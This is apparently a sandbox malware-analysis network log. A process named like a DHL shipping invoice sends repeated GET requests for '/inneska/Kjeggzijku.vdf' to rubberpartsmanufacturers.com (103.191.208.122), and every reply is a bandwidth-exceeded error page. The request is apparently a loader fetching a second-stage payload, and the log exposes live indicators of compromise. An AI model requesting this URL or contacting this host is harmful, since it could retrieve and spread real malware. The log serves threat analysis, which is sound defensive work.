2024-10-17 08:46:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:27 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:27 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:27 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	56755	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:28 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:28 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:28 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:28 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	56763	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:29 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:30 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:30 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:30 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	56769	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:31 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:31 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:31 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	56780	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:32 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	56791	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:34 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:34 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:34 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	56797	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:35 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:36 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	56808	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:37 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:37 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:37 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:37 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	56818	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:39 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:39 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:39 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	56825	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:40 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:40 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:40 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	56835	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:41 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:42 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	56846	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:43 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:43 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:43 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:43 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	56853	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:44 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	56862	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:46 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:46 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:46 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:46 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	56871	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:47 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	56881	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

